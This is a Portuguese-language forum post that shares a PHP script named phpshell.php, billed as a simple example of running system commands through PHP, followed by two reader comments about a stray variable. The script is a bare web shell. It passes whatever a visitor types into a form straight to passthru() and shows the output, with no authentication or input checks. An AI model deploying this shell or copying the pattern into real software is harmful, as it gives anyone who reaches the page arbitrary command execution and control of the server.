Executando comandos através do PHP

Publicado por Perfil removido (última atualização em 01/02/2011)

[ Hits: 9.054 ]

Download phpshell.php




Um simples exemplo de como executar syscalls através do PHP. O retorno do comando é impresso na tela.

[]s

  



Esconder código-fonte

<?php

/*
 * To change this template, choose Tools | Templates
 * and open the template in the editor.
 */

/**
 * Description of PHP_CMD_Exec
 *
 * @author ox
 */

?>

<html>
<head>
   <title>
      PHPShell
   </title>
</head>
<body>
   <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post" enctype="multipart/form-data">
      <label id="labelCommand" for="inputCommand">Comando: </label>
      <input type="text" id="inputCommand" name="inputCommand"/>
      <input type="submit" value="Executar"/>
   </form>

   <fieldset>
      <legend style="font-size: 12px; color: green;">Output</legend>
      <?php 
         $command = $_POST['inputCommand'];
         passthru($command);
         echo $commandReturn;
      ?>
   </fieldset>

</body>

</html>

Scripts recomendados

Converte uma string binaria em seu respectivo codigo ascii

Data por Extenso

Código de Barras em PHP

Upload de fotos com banco de dados

Números Primos


  

Comentários
[1] Comentário enviado por rogeriojlle em 01/02/2011 - 16:06h

$commandReturn;
vem de onde?

<?php
$command = $_POST['inputCommand'];
if($command == ""){
echo "digite um comando";
} else {
passthru($command);
}
?>

[2] Comentário enviado por removido em 02/02/2011 - 12:17h

De lugar nenhum.
Eu estava fazendo de outra forma, esqueci isso aí. Hehe.


Contribuir com comentário